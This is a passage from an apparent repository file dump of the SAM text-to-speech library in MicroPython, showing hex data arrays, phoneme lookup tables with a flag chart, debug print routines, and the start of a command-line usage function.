, 0x30 , 0x98 , 0x46 , 0x31\n\t,  0x18 , 0xC6 , 0x35 ,0xC , 0xCA , 0x31 ,0xC , 0xC6\n\t//20\n\t,  0x21 , 0x10 , 0x24 , 0x69 , 0x12 , 0xC2 , 0x31 , 0x14\n\t,  0xC4 , 0x71 , 8 , 0x4A , 0x22 , 0x49 , 0xAB , 0x6A\n\t,  0xA8 , 0xAC , 0x49 , 0x51 , 0x32 , 0xD5 , 0x52 , 0x88\n\t,  0x93 , 0x6C , 0x94 , 0x22 , 0x15 , 0x54 , 0xD2 , 0x25\n\t//40\n\t,  0x96 , 0xD4 , 0x50 , 0xA5 , 0x46 , 0x21 , 8 , 0x85\n\t,  0x6B , 0x18 , 0xC4 , 0x63 , 0x10 , 0xCE , 0x6B , 0x18\n\t,  0x8C , 0x71 , 0x19 , 0x8C , 0x63 , 0x35 ,0xC , 0xC6\n\t,  0x33 , 0x99 , 0xCC , 0x6C , 0xB5 , 0x4E , 0xA2 , 0x99\n\t//60\n\t,  0x46 , 0x21 , 0x28 , 0x82 , 0x95 , 0x2E , 0xE3 , 0x30\n\t,  0x9C , 0xC5 , 0x30 , 0x9C , 0xA2 , 0xB1 , 0x9C , 0x67\n\t,  0x31 , 0x88 , 0x66 , 0x59 , 0x2C , 0x53 , 0x18 , 0x84\n\t,  0x67 , 0x50 , 0xCA , 0xE3 ,0xA , 0xAC , 0xAB , 0x30\n\t//80\n\t,  0xAC , 0x62 , 0x30 , 0x8C , 0x63 , 0x10 , 0x94 , 0x62\n\t,  0xB1 , 0x8C , 0x82 , 0x28 , 0x96 , 0x33 , 0x98 , 0xD6\n\t,  0xB5 , 0x4C , 0x62 , 0x29 , 0xA5 , 0x4A , 0xB5 , 0x9C\n\t,  0xC6 , 0x31 , 0x14 , 0xD6 , 0x38 , 0x9C , 0x4B , 0xB4\n\t//A0\n\t,  0x86 , 0x65 , 0x18 , 0xAE , 0x67 , 0x1C , 0xA6 , 0x63\n\t,  0x19 , 0x96 , 0x23 , 0x19 , 0x84 , 0x13 , 8 , 0xA6\n\t,  0x52 , 0xAC , 0xCA , 0x22 , 0x89 , 0x6E , 0xAB , 0x19\n\t,  0x8C , 0x62 , 0x34 , 0xC4 , 0x62 , 0x19 , 0x86 , 0x63\n\t//C0\n\t,  0x18 , 0xC4 , 0x23 , 0x58 , 0xD6 , 0xA3 , 0x50 , 0x42\n\t,  0x54 , 0x4A , 0xAD , 0x4A , 0x25 , 0x11 , 0x6B , 0x64\n\t,  0x89 , 0x4A , 0x63 , 0x39 , 0x8A , 0x23 , 0x31 , 0x2A\n\t,  0xEA , 0xA2 , 0xA9 , 0x44 , 0xC5 , 0x12 , 0xCD , 0x42\n\t//E0\n\t,  0x34 , 0x8C , 0x62 , 0x18 , 0x8C , 0x63 , 0x11 , 0x48\n\t,  0x66 , 0x31 , 0x9D , 0x44 , 0x33 , 0x1D , 0x46 , 0x31\n\t,  0x9C , 0xC6 , 0xB1 ,0xC , 0xCD , 0x32 , 0x88 , 0xC4\n\t,  0x73 , 0x18 , 0x86 , 0x73 , 8 , 0xD6 , 0x63 , 0x58\n\t//100\n\t,\t 7 , 0x81 , 0xE0 , 0xF0 , 0x3C , 7 , 0x87 , 0x90\n\t,  0x3C , 0x7C ,0xF , 0xC7 , 0xC0 , 0xC0 , 0xF0 , 0x7C\n\t,  0x1E , 7 , 0x80 , 0x80 , 0 , 0x1C , 0x78 , 0x70\n\t,  0xF1 , 0xC7 , 0x1F , 0xC0 ,0xC , 0xFE , 0x1C , 0x1F\n\t//120\n\t,  0x1F ,0xE ,0xA , 0x7A , 0xC0 , 0x71 , 0xF2 , 0x83\n\t,  0x8F , 3 ,0xF ,0xF ,0xC , 0 , 0x79 , 0xF8\n\t,  0x61 , 0xE0 , 0x43 ,0xF , 0x83 , 0xE7 , 0x18 , 0xF9\n\t,  0xC1 , 0x13 , 0xDA , 0xE9 , 0x63 , 0x8F ,0xF , 0x83\n\t//140\n\t,  0x83 , 0x87 , 0xC3 , 0x1F , 0x3C , 0x70 , 0xF0 , 0xE1\n\t,  0xE1 , 0xE3 , 0x87 , 0xB8 , 0x71 ,0xE , 0x20 , 0xE3\n\t,  0x8D , 0x48 , 0x78 , 0x1C , 0x93 , 0x87 , 0x30 , 0xE1\n\t,  0xC1 , 0xC1 , 0xE4 , 0x78 , 0x21 , 0x83 , 0x83 , 0xC3\n\t//160\n\t,  0x87 , 6 , 0x39 , 0xE5 , 0xC3 , 0x87 , 7 ,0xE\n\t,  0x1C , 0x1C , 0x70 , 0xF4 , 0x71 , 0x9C , 0x60 , 0x36\n\t,  0x32 , 0xC3 , 0x1E , 0x3C , 0xF3 , 0x8F ,0xE , 0x3C\n\t,  0x70 , 0xE3 , 0xC7 , 0x8F ,0xF ,0xF ,0xE , 0x3C\n\t//180\n\t,  0x78 , 0xF0 , 0xE3 , 0x87 , 6 , 0xF0 , 0xE3 , 7\n\t,  0xC1 , 0x99 , 0x87 ,0xF , 0x18 , 0x78 , 0x70 , 0x70\n\t,  0xFC , 0xF3 , 0x10 , 0xB1 , 0x8C , 0x8C , 0x31 , 0x7C\n\t,  0x70 , 0xE1 , 0x86 , 0x3C , 0x64 , 0x6C , 0xB0 , 0xE1\n\t//1A0\n\t,  0xE3 ,0xF , 0x23 , 0x8F ,0xF , 0x1E , 0x3E , 0x38\n\t,  0x3C , 0x38 , 0x7B , 0x8F , 7 ,0xE , 0x3C , 0xF4\n\t,  0x17 , 0x1E , 0x3C , 0x78 , 0xF2 , 0x9E , 0x72 , 0x49\n\t,  0xE3 , 0x25 , 0x36 , 0x38 , 0x58 , 0x39 , 0xE2 , 0xDE\n\t//1C0\n\t,  0x3C , 0x78 , 0x78 , 0xE1 , 0xC7 , 0x61 , 0xE1 , 0xE1\n\t,  0xB0 , 0xF0 , 0xF0 , 0xC3 , 0xC7 ,0xE , 0x38 , 0xC0\n\t,  0xF0 , 0xCE , 0x73 , 0x73 , 0x18 , 0x34 , 0xB0 , 0xE1\n\t,  0xC7 , 0x8E , 0x1C , 0x3C , 0xF8 , 0x38 , 0xF0 , 0xE1\n\t//1E0\n\t,  0xC1 , 0x8B , 0x86 , 0x8F , 0x1C , 0x78 , 0x70 , 0xF0\n\t,  0x78 , 0xAC , 0xB1 , 0x8F , 0x39 , 0x31 , 0xDB , 0x38\n\t,  0x61 , 0xC3 ,0xE ,0xE , 0x38 , 0x78 , 0x73 , 0x17\n\t,  0x1E , 0x39 , 0x1E , 0x38 , 0x64 , 0xE1 , 0xF1 , 0xC1\n\t//200\n\t,  0x4E ,0xF , 0x40 , 0xA2 , 2 , 0xC5 , 0x8F , 0x81\n\t,  0xA1 , 0xFC , 0x12 , 8 , 0x64 , 0xE0 , 0x3C , 0x22\n\t,  0xE0 , 0x45 , 7 , 0x8E ,0xC , 0x32 , 0x90 , 0xF0\n\t,  0x1F , 0x20 , 0x49 , 0xE0 , 0xF8 ,0xC , 0x60 , 0xF0\n\t//220\n\t,  0x17 , 0x1A , 0x41 , 0xAA , 0xA4 , 0xD0 , 0x8D , 0x12\n\t,  0x82 , 0x1E , 0x1E , 3 , 0xF8 , 0x3E , 3 ,0xC\n\t,  0x73 , 0x80 , 0x70 , 0x44 , 0x26 , 3 , 0x24 , 0xE1\n\t,  0x3E , 4 , 0x4E , 4 , 0x1C , 0xC1 , 9 , 0xCC\n\t//240\n\t,  0x9E , 0x90 , 0x21 , 7 , 0x90 , 0x43 , 0x64 , 0xC0\n\t,\t0xF , 0xC6 , 0x90 , 0x9C , 0xC1 , 0x5B , 3 , 0xE2\n\t,  0x1D , 0x81 , 0xE0 , 0x5E , 0x1D , 3 , 0x84 , 0xB8\n\t,  0x2C ,0xF , 0x80 , 0xB1 , 0x83 , 0xE0 , 0x30 , 0x41\n\t//260\n\t,  0x1E , 0x43 , 0x89 , 0x83 , 0x50 , 0xFC , 0x24 , 0x2E\n\t,  0x13 , 0x83 , 0xF1 , 0x7C , 0x4C , 0x2C , 0xC9 ,0xD\n\t,  0x83 , 0xB0 , 0xB5 , 0x82 , 0xE4 , 0xE8 , 6 , 0x9C\n\t,\t 7 , 0xA0 , 0x99 , 0x1D , 7 , 0x3E , 0x82 , 0x8F\n\t//280\n\t,  0x70 , 0x30 , 0x74 , 0x40 , 0xCA , 0x10 , 0xE4 , 0xE8\n\t,\t0xF , 0x92 , 0x14 , 0x3F , 6 , 0xF8 , 0x84 , 0x88\n\t,  0x43 , 0x81 ,0xA , 0x34 , 0x39 , 0x41 , 0xC6 , 0xE3\n\t,  0x1C , 0x47 , 3 , 0xB0 , 0xB8 , 0x13 ,0xA , 0xC2\n\t//2A0\n\t,  0x64 , 0xF8 , 0x18 , 0xF9 , 0x60 , 0xB3 , 0xC0 , 0x65\n\t,  0x20 , 0x60 , 0xA6 , 0x8C , 0xC3 , 0x81 , 0x20 , 0x30\n\t,  0x26 , 0x1E , 0x1C , 0x38 , 0xD3 , 1 , 0xB0 , 0x26\n\t,  0x40 , 0xF4 ,0xB , 0xC3 , 0x42 , 0x1F , 0x85 , 0x32\n\t//2C0\n\t,  0x26 , 0x60 , 0x40 , 0xC9 , 0xCB , 1 , 0xEC , 0x11\n\t,  0x28 , 0x40 , 0xFA , 4 , 0x34 , 0xE0 , 0x70 , 0x4C\n\t,  0x8C , 0x1D , 7 , 0x69 , 3 , 0x16 , 0xC8 , 4\n\t,  0x23 , 0xE8 , 0xC6 , 0x9A ,0xB , 0x1A , 3 , 0xE0\n\t//2E0\n\t,  0x76 , 6 , 5 , 0xCF , 0x1E , 0xBC , 0x58 , 0x31\n\t,  0x71 , 0x66 , 0 , 0xF8 , 0x3F , 4 , 0xFC ,0xC\n\t,  0x74 , 0x27 , 0x8A , 0x80 , 0x71 , 0xC2 , 0x3A , 0x26\n\t,\t 6 , 0xC0 , 0x1F , 5 ,0xF , 0x98 , 0x40 , 0xAE\n\t//300\n\t,\t 1 , 0x7F , 0xC0 , 7 , 0xFF , 0 ,0xE , 0xFE\n\t,\t 0 , 3 , 0xDF , 0x80 , 3 , 0xEF , 0x80 , 0x1B\n\t,  0xF1 , 0xC2 , 0 , 0xE7 , 0xE0 , 0x18 , 0xFC , 0xE0\n\t,  0x21 , 0xFC , 0x80 , 0x3C , 0xFC , 0x40 ,0xE , 0x7E\n\t//320\n\t,\t 0 , 0x3F , 0x3E , 0 ,0xF , 0xFE , 0 , 0x1F\n\t,  0xFF , 0 , 0x3E , 0xF0 , 7 , 0xFC , 0 , 0x7E\n\t,  0x10 , 0x3F , 0xFF , 0 , 0x3F , 0x38 ,0xE , 0x7C\n\t,\t 1 , 0x87 ,0xC , 0xFC , 0xC7 , 0 , 0x3E , 4\n\t//340\n\t,\t0xF , 0x3E , 0x1F ,0xF ,0xF , 0x1F ,0xF , 2\n\t,  0x83 , 0x87 , 0xCF , 3 , 0x87 ,0xF , 0x3F , 0xC0\n\t,\t 7 , 0x9E , 0x60 , 0x3F , 0xC0 , 3 , 0xFE , 0\n\t,  0x3F , 0xE0 , 0x77 , 0xE1 , 0xC0 , 0xFE , 0xE0 , 0xC3\n\t//360\n\t,  0xE0 , 1 , 0xDF , 0xF8 , 3 , 7 , 0 , 0x7E\n\t,  0x70 , 0 , 0x7C , 0x38 , 0x18 , 0xFE ,0xC , 0x1E\n\t,  0x78 , 0x1C , 0x7C , 0x3E ,0xE , 0x1F , 0x1E , 0x1E\n\t,  0x3E , 0 , 0x7F , 0x83 , 7 , 0xDB , 0x87 , 0x83\n\t//380\n\t,\t 7 , 0xC7 , 7 , 0x10 , 0x71 , 0xFF , 0 , 0x3F\n\t,  0xE2 , 1 , 0xE0 , 0xC1 , 0xC3 , 0xE1 , 0 , 0x7F\n\t,  0xC0 , 5 , 0xF0 , 0x20 , 0xF8 , 0xF0 , 0x70 , 0xFE\n\t,  0x78 , 0x79 , 0xF8 , 2 , 0x3F ,0xC , 0x8F , 3\n\t//3a0\n\t,\t0xF , 0x9F , 0xE0 , 0xC1 , 0xC7 , 0x87 , 3 , 0xC3\n\t,  0xC3 , 0xB0 , 0xE1 , 0xE1 , 0xC1 , 0xE3 , 0xE0 , 0x71\n\t,  0xF0 , 0 , 0xFC , 0x70 , 0x7C ,0xC , 0x3E , 0x38\n\t,\t0xE , 0x1C , 0x70 , 0xC3 , 0xC7 , 3 , 0x81 , 0xC1\n\t//3c0\n\t,  0xC7 , 0xE7 , 0 ,0xF , 0xC7 , 0x87 , 0x19 , 9\n\t,  0xEF , 0xC4 , 0x33 , 0xE0 , 0xC1 , 0xFC , 0xF8 , 0x70\n\t,  0xF0 , 0x78 , 0xF8 , 0xF0 , 0x61 , 0xC7 , 0 , 0x1F\n\t,  0xF8 , 1 , 0x7C , 0xF8 , 0xF0 , 0x78 , 0x70 , 0x3C\n\t//3e0\n\t,  0x7C , 0xCE ,0xE , 0x21 , 0x83 , 0xCF , 8 , 7\n\t,  0x8F , 8 , 0xC1 , 0x87 , 0x8F , 0x80 , 0xC7 , 0xE3\n\t,\t 0 , 7 , 0xF8 , 0xE0 , 0xEF , 0 , 0x39 , 0xF7\n\t,  0x80 ,0xE , 0xF8 , 0xE1 , 0xE3 , 0xF8 , 0x21 , 0x9F\n\t//400\n\t,  0xC0 , 0xFF , 3 , 0xF8 , 7 , 0xC0 , 0x1F , 0xF8\n\t,  0xC4 , 4 , 0xFC , 0xC4 , 0xC1 , 0xBC , 0x87 , 0xF0\n\t,\t0xF , 0xC0 , 0x7F , 5 , 0xE0 , 0x25 , 0xEC , 0xC0\n\t,  0x3E , 0x84 , 0x47 , 0xF0 , 0x8E , 3 , 0xF8 , 3\n\t//420\n\t,  0xFB , 0xC0 , 0x19 , 0xF8 , 7 , 0x9C ,0xC , 0x17\n\t,  0xF8 , 7 , 0xE0 , 0x1F , 0xA1 , 0xFC ,0xF , 0xFC\n\t,\t 1 , 0xF0 , 0x3F , 0 , 0xFE , 3 , 0xF0 , 0x1F\n\t,\t 0 , 0xFD , 0 , 0xFF , 0x88 ,0xD , 0xF9 , 1\n\t//440\n\t,  0xFF , 0 , 0x70 , 7 , 0xC0 , 0x3E , 0x42 , 0xF3\n\t,\t0xD , 0xC4 , 0x7F , 0x80 , 0xFC , 7 , 0xF0 , 0x5E\n\t,  0xC0 , 0x3F , 0 , 0x78 , 0x3F , 0x81 , 0xFF , 1\n\t,  0xF8 , 1 , 0xC3 , 0xE8 ,0xC , 0xE4 , 0x64 , 0x8F\n\t////460\n\t,  0xE4 ,0xF , 0xF0 , 7 , 0xF0 , 0xC2 , 0x1F , 0\n\t,  0x7F , 0xC0 , 0x6F , 0x80 , 0x7E , 3 , 0xF8 , 7\n\t,  0xF0 , 0x3F , 0xC0 , 0x78 ,0xF , 0x82 , 7 , 0xFE\n\t,  0x22 , 0x77 , 0x70 , 2 , 0x76 , 3 , 0xFE , 0\n\t//480\n\t,  0xFE , 0x67 , 0 , 0x7C , 0xC7 , 0xF1 , 0x8E , 0xC6\n\t,  0x3B , 0xE0 , 0x3F , 0x84 , 0xF3 , 0x19 , 0xD8 , 3\n\t,  0x99 , 0xFC , 9 , 0xB8 ,0xF , 0xF8 , 0 , 0x9D\n\t,  0x24 , 0x61 , 0xF9 ,0xD , 0 , 0xFD , 3 , 0xF0\n\t//4a0\n\t,  0x1F , 0x90 , 0x3F , 1 , 0xF8 , 0x1F , 0xD0 ,0xF\n\t,  0xF8 , 0x37 , 1 , 0xF8 , 7 , 0xF0 ,0xF , 0xC0\n\t,  0x3F , 0 , 0xFE , 3 , 0xF8 ,0xF , 0xC0 , 0x3F\n\t,\t 0 , 0xFA , 3 , 0xF0 ,0xF , 0x80 , 0xFF , 1\n\t//4c0\n\t,  0xB8 , 7 , 0xF0 , 1 , 0xFC , 1 , 0xBC , 0x80\n\t,  0x13 , 0x1E , 0 , 0x7F , 0xE1 , 0x40 , 0x7F , 0xA0\n\t,  0x7F , 0xB0 , 0 , 0x3F , 0xC0 , 0x1F , 0xC0 , 0x38\n\t,\t0xF , 0xF0 , 0x1F , 0x80 , 0xFF , 1 , 0xFC , 3\n\t//4e0\n\t,  0xF1 , 0x7E , 1 , 0xFE , 1 , 0xF0 , 0xFF , 0 \n\t,  0x7F , 0xC0 , 0x1D , 7 , 0xF0 ,0xF , 0xC0 , 0x7E \n\t,\t 6 , 0xE0 , 7 , 0xE0 ,0xF , 0xF8 , 6 , 0xC1 \n\t,  0xFE , 1 , 0xFC , 3 , 0xE0 ,0xF , 0 , 0xFC\n};\n\n\n\n#endif\n\n"
  },
  {
    "path": "micropython/source/lib/sam/SamTabs.h",
    "content": "#ifndef SAMTABS_H\r\n#define SAMTABS_H\r\n\r\n//tab40672\r\nconst unsigned char stressInputTable[] =\r\n{\r\n\t'*', '1', '2', '3', '4', '5', '6', '7', '8'\r\n};\r\n\r\n//tab40682\r\nconst unsigned char signInputTable1[]={\r\n\t' ', '.', '?', ',', '-', 'I', 'I', 'E',\r\n\t'A', 'A', 'A', 'A', 'U', 'A', 'I', 'E',\r\n\t'U', 'O', 'R', 'L', 'W', 'Y', 'W', 'R',\r\n\t'L', 'W', 'Y', 'M', 'N', 'N', 'D', 'Q',\r\n\t'S', 'S', 'F', 'T', '/', '/', 'Z', 'Z',\r\n\t'V', 'D', 'C', '*', 'J', '*', '*', '*',\r\n\t'E', 'A', 'O', 'A', 'O', 'U', 'B', '*',\r\n\t'*', 'D', '*', '*', 'G', '*', '*', 'G',\r\n\t'*', '*', 'P', '*', '*', 'T', '*', '*',\r\n\t'K', '*', '*', 'K', '*', '*', 'U', 'U',\r\n\t'U'\r\n};\r\n\r\n//tab40763\r\nconst unsigned char signInputTable2[] =\r\n{\r\n\t'*', '*', '*', '*', '*', 'Y', 'H', 'H',\r\n\t'E', 'A', 'H', 'O', 'H', 'X', 'X', 'R',\r\n\t'X', 'H', 'X', 'X', 'X', 'X', 'H', '*',\r\n\t'*', '*', '*', '*', '*', 'X', 'X', '*',\r\n\t'*', 'H', '*', 'H', 'H', 'X', '*', 'H',\r\n\t'*', 'H', 'H', '*', '*', '*', '*', '*',\r\n\t'Y', 'Y', 'Y', 'W', 'W', 'W', '*', '*',\r\n\t'*', '*', '*', '*', '*', '*', '*', 'X',\r\n\t'*', '*', '*', '*', '*', '*', '*', '*',\r\n\t'*', '*', '*', 'X', '*', '*', 'L', 'M',\r\n\t'N'\r\n};\r\n\r\n//loc_9F8C \r\nconst unsigned char flags[]={\r\n\t0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0xA4 , 0xA4 , 0xA4 ,\r\n\t0xA4 , 0xA4 , 0xA4 , 0x84 , 0x84 , 0xA4 , 0xA4 , 0x84 ,\r\n\t0x84 , 0x84 , 0x84 , 0x84 , 0x84 , 0x84 , 0x44 , 0x44 ,\r\n\t0x44 , 0x44 , 0x44 , 0x4C , 0x4C , 0x4C , 0x48 , 0x4C ,\r\n\t0x40 , 0x40 , 0x40 , 0x40 , 0x40 , 0x40 , 0x44 , 0x44 ,\r\n\t0x44 , 0x44 , 0x48 , 0x40 , 0x4C , 0x44 , 0x00 , 0x00 ,\r\n\t0xB4 , 0xB4 , 0xB4 , 0x94 , 0x94 , 0x94 , 0x4E , 0x4E ,\r\n\t0x4E , 0x4E , 0x4E , 0x4E , 0x4E , 0x4E , 0x4E , 0x4E ,\r\n\t0x4E , 0x4E , 0x4B , 0x4B , 0x4B , 0x4B , 0x4B , 0x4B ,\r\n\t0x4B , 0x4B , 0x4B , 0x4B , 0x4B , 0x4B , 0x80 , 0xC1 ,\r\n\t0xC1\r\n\r\n\r\n};\r\n\r\n//??? flags overlap flags2\r\n//loc_9FDA\r\nconst unsigned char flags2[] =\r\n{\r\n\t0x80 , 0xC1 , 0xC1 , 0xC1 , 0xC1 , 0x00 , 0x00 , 0x00 ,\r\n\t0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,\r\n\t0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x10 ,\r\n\t0x10 , 0x10 , 0x10 , 0x08 , 0x0C , 0x08 , 0x04 , 0x40 ,\r\n\t0x24 , 0x20 , 0x20 , 0x24 , 0x00 , 0x00 , 0x24 , 0x20 ,\r\n\t0x20 , 0x24 , 0x20 , 0x20 , 0x00 , 0x20 , 0x00 , 0x00 ,\r\n\t0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,\r\n\t0x00 , 0x04 , 0x04 , 0x04 , 0x00 , 0x00 , 0x00 , 0x00 ,\r\n\t0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x04 , 0x04 , 0x04 ,\r\n\t0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00   \r\n};\r\n\r\n\r\n\r\n//tab45616???\r\nconst unsigned char phonemeStressedLengthTable[] =\r\n{\r\n\t0x00 , 0x12 , 0x12 , 0x12 , 8 ,0xB , 9 ,0xB ,\r\n\t0xE ,0xF ,0xB , 0x10 ,0xC , 6 , 6 ,0xE ,\r\n\t0xC ,0xE ,0xC ,0xB , 8 , 8 ,0xB ,0xA ,\r\n\t9 , 8 , 8 , 8 , 8 , 8 , 3 , 5 ,\r\n\t2 , 2 , 2 , 2 , 2 , 2 , 6 , 6 ,\r\n\t8 , 6 , 6 , 2 , 9 , 4 , 2 , 1 ,\r\n\t0xE ,0xF ,0xF ,0xF ,0xE ,0xE , 8 , 2 ,\r\n\t2 , 7 , 2 , 1 , 7 , 2 , 2 , 7 ,\r\n\t2 , 2 , 8 , 2 , 2 , 6 , 2 , 2 ,\r\n\t7 , 2 , 4 , 7 , 1 , 4 , 5 , 5     \r\n};\r\n\r\n//tab45536???\r\nconst unsigned char phonemeLengthTable[] =\r\n{\r\n\t0 , 0x12 , 0x12 , 0x12 , 8 , 8 , 8 , 8 ,\r\n\t8 ,0xB , 6 ,0xC ,0xA , 5 , 5 ,0xB ,\r\n\t0xA ,0xA ,0xA , 9 , 8 , 7 , 9 , 7 ,\r\n\t6 , 8 , 6 , 7 , 7 , 7 , 2 , 5 ,\r\n\t2 , 2 , 2 , 2 , 2 , 2 , 6 , 6 ,\r\n\t7 , 6 , 6 , 2 , 8 , 3 , 1 , 0x1E ,\r\n\t0xD ,0xC ,0xC ,0xC ,0xE , 9 , 6 , 1 ,\r\n\t2 , 5 , 1 , 1 , 6 , 1 , 2 , 6 ,\r\n\t1 , 2 , 8 , 2 , 2 , 4 , 2 , 2 ,\r\n\t6 , 1 , 4 , 6 , 1 , 4 , 0xC7 , 0xFF\r\n};\r\n\r\n\r\n\r\n/*\r\n\r\nInd  | phoneme |  flags   |\r\n-----|---------|----------|\r\n0    |   *     | 00000000 |\r\n1    |  .*     | 00000000 |\r\n2    |  ?*     | 00000000 |\r\n3    |  ,*     | 00000000 |\r\n4    |  -*     | 00000000 |\r\n\r\nVOWELS\r\n5    |  IY     | 10100100 |\r\n6    |  IH     | 10100100 |\r\n7    |  EH     | 10100100 |\r\n8    |  AE     | 10100100 |\r\n9    |  AA     | 10100100 |\r\n10   |  AH     | 10100100 |\r\n11   |  AO     | 10000100 |\r\n17   |  OH     | 10000100 |\r\n12   |  UH     | 10000100 |\r\n16   |  UX     | 10000100 |\r\n15   |  ER     | 10000100 |\r\n13   |  AX     | 10100100 |\r\n14   |  IX     | 10100100 |\r\n\r\nDIPHTONGS\r\n48   |  EY     | 10110100 |\r\n49   |  AY     | 10110100 |\r\n50   |  OY     | 10110100 |\r\n51   |  AW     | 10010100 |\r\n52   |  OW     | 10010100 |\r\n53   |  UW     | 10010100 |\r\n\r\n\r\n21   |  YX     | 10000100 |\r\n20   |  WX     | 10000100 |\r\n18   |  RX     | 10000100 |\r\n19   |  LX     | 10000100 |\r\n37   |  /X     | 01000000 |\r\n30   |  DX     | 01001000 |\r\n\r\n\r\n22   |  WH     | 01000100 |\r\n\r\n\r\nVOICED CONSONANTS\r\n23   |  R*     | 01000100 |\r\n24   |  L*     | 01000100 |\r\n25   |  W*     | 01000100 |\r\n26   |  Y*     | 01000100 |\r\n27   |  M*     | 01001100 |\r\n28   |  N*     | 01001100 |\r\n29   |  NX     | 01001100 |\r\n54   |  B*     | 01001110 |\r\n57   |  D*     | 01001110 |\r\n60   |  G*     | 01001110 |\r\n44   |  J*     | 01001100 |\r\n38   |  Z*     | 01000100 |\r\n39   |  ZH     | 01000100 |\r\n40   |  V*     | 01000100 |\r\n41   |  DH     | 01000100 |\r\n\r\nunvoiced CONSONANTS\r\n32   |  S*     | 01000000 |\r\n33   |  SH     | 01000000 |\r\n34   |  F*     | 01000000 |\r\n35   |  TH     | 01000000 |\r\n66   |  P*     | 01001011 |\r\n69   |  T*     | 01001011 |\r\n72   |  K*     | 01001011 |\r\n42   |  CH     | 01001000 |\r\n36   |  /H     | 01000000 |\r\n\r\n43   |  **     | 01000000 |\r\n45   |  **     | 01000100 |\r\n46   |  **     | 00000000 |\r\n47   |  **     | 00000000 |\r\n\r\n\r\n55   |  **     | 01001110 |\r\n56   |  **     | 01001110 |\r\n58   |  **     | 01001110 |\r\n59   |  **     | 01001110 |\r\n61   |  **     | 01001110 |\r\n62   |  **     | 01001110 |\r\n63   |  GX     | 01001110 |\r\n64   |  **     | 01001110 |\r\n65   |  **     | 01001110 |\r\n67   |  **     | 01001011 |\r\n68   |  **     | 01001011 |\r\n70   |  **     | 01001011 |\r\n71   |  **     | 01001011 |\r\n73   |  **     | 01001011 |\r\n74   |  **     | 01001011 |\r\n75   |  KX     | 01001011 |\r\n76   |  **     | 01001011 |\r\n77   |  **     | 01001011 |\r\n\r\n\r\nSPECIAL\r\n78   |  UL     | 10000000 |\r\n79   |  UM     | 11000001 |\r\n80   |  UN     | 11000001 |\r\n31   |  Q*     | 01001100 |\r\n\r\n*/\r\n\r\n#endif\r\n"
  },
  {
    "path": "micropython/source/lib/sam/debug.c",
    "content": "#include<stdio.h>\n#include \"sam.h\"\n\nextern unsigned char signInputTable1[];\nextern unsigned char signInputTable2[];\n\nvoid PrintPhonemes(char* title, phoneme_t *phonemes)\n{\n\tint i = 0;\n\tprintf(\"===========================================\\r\\n\");\n\n\tprintf(\"%s:\\r\\n\\r\\n\", title);\n\tprintf(\" idx    phoneme  length  stress\\r\\n\");\n\tprintf(\"------------------------------\\r\\n\");\n\n\twhile((phonemes[i].index != PHONEME_END) && (i < 255))\n\t{\n\t\tif (phonemes[i].index < 81)\n\t\t{\n\t\t\tprintf(\" %3i      %c%c      %3i       %i\\r\\n\",\n\t\t\tphonemes[i].index,\n\t\t\tsignInputTable1[phonemes[i].index],\n\t\t\tsignInputTable2[phonemes[i].index],\n\t\t\tphonemes[i].length,\n\t\t\tphonemes[i].stress\n\t\t\t);\n\t\t} else\n\t\t{\n\t\t\tprintf(\" %3i      ??      %3i       %i\\r\\n\", phonemes[i].index, phonemes[i].length, phonemes[i].stress);\n\t\t}\n\t\ti++;\n\t}\n\tprintf(\"===========================================\\r\\n\");\n\tprintf(\"\\r\\n\");\n}\n\nvoid PrintOutput(unsigned char *flags, render_freq_amp_t *frames, unsigned char *pitches, unsigned char count)\n{\n\tprintf(\"===========================================\\r\\n\");\n\tprintf(\"Final data for speech output. %i frames:\\r\\n\\r\\n\", count);\n\tint i = 0;\n\tprintf(\" flags ampl1 freq1 ampl2 freq2 ampl3 freq3 pitch\\r\\n\");\n\tprintf(\"------------------------------------------------\\r\\n\");\n\twhile(i < count)\n\t{\n        render_freq_amp_t frame = frames[i];\n\t\tprintf(\"%5i %5i %5i %5i %5i %5i %5i %5i\\r\\n\", flags[i], frame.amp1, frame.freq1, frame.amp2, frame.freq2, frame.amp3, frame.freq3, pitches[i]);\n\t\ti++;\n\t}\n\tprintf(\"===========================================\\r\\n\");\n\n}\n\n/* For debugging or modifying reciter rules ...\n\nextern unsigned char GetRuleByte(unsigned short mem62, unsigned char Y);\n\nvoid PrintRule(int offset)\n{\n\tint i = 1;\n\tunsigned char A = 0;\n\tprintf(\"Applying rule: \");\n\tdo\n\t{\n\t\tA = GetRuleByte(offset, i);\n\t\tif ((A&127) == '=') printf(\" -> \"); else printf(\"%c\", A&127);\n\t\ti++;\n\t} while ((A&128)==0);\n\tprintf(\"\\r\\n\");\n}\n*/\n"
  },
  {
    "path": "micropython/source/lib/sam/debug.h",
    "content": "#ifndef DEBUG_H\n#define DEBUG_H\n\n#include \"sam.h\"\n\nvoid PrintPhonemes(char* title, phoneme_t *phonemes);\nvoid PrintOutput(unsigned char *flags, render_freq_amp_t *frames, unsigned char *pitches, unsigned char count);\n\nvoid PrintRule(int offset);\n\n#endif"
  },
  {
    "path": "micropython/source/lib/sam/main.c",
    "content": "#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <ctype.h>\r\n#include <string.h>\r\n\r\n#include \"reciter.h\"\r\n#include \"sam.h\"\r\n#include \"debug.h\"\r\n\r\nvoid PrintUsage()\r\n{\r\n\tprintf(\"usage: sam [options] Word1 Word2 ....\\n\");\r\n\tprintf(\"options\\n\");\r\n\tprintf(\"\t-phonetic \t\tenters phonetic mode. (see below)\\n\");\r\n\tprintf(\"\t-pitch number\t\tset pitch value (default=64)\\n\");\r\n\tprintf(\"\t-speed number\t\tset speed value (default=72)\\n\");\r\n\tprintf(\"\t-throat number\t\tset throat value (default=128)\\n\");\r\n\tprintf(\"\t-mouth number\t\tset mouth value (default=128)\\n\");\r\n\tprintf(\"\t-wav filename\t\toutput to wav instead of libsdl\\n\");\r\n\tprintf(\"\t-sing\t\t\tspecial treatment of pitch\\n\");\r\n\tprintf(\"\t-debug\t\t\tprint additional debug messages\\n\");\r\n\tprintf(\"\\n\");\r\n\r\n\t\r\n\tprintf(\"     VOWELS                            VOICED CONSONANTS\t\\n\");\r\n\tprintf(\"IY           f(ee)t                    R        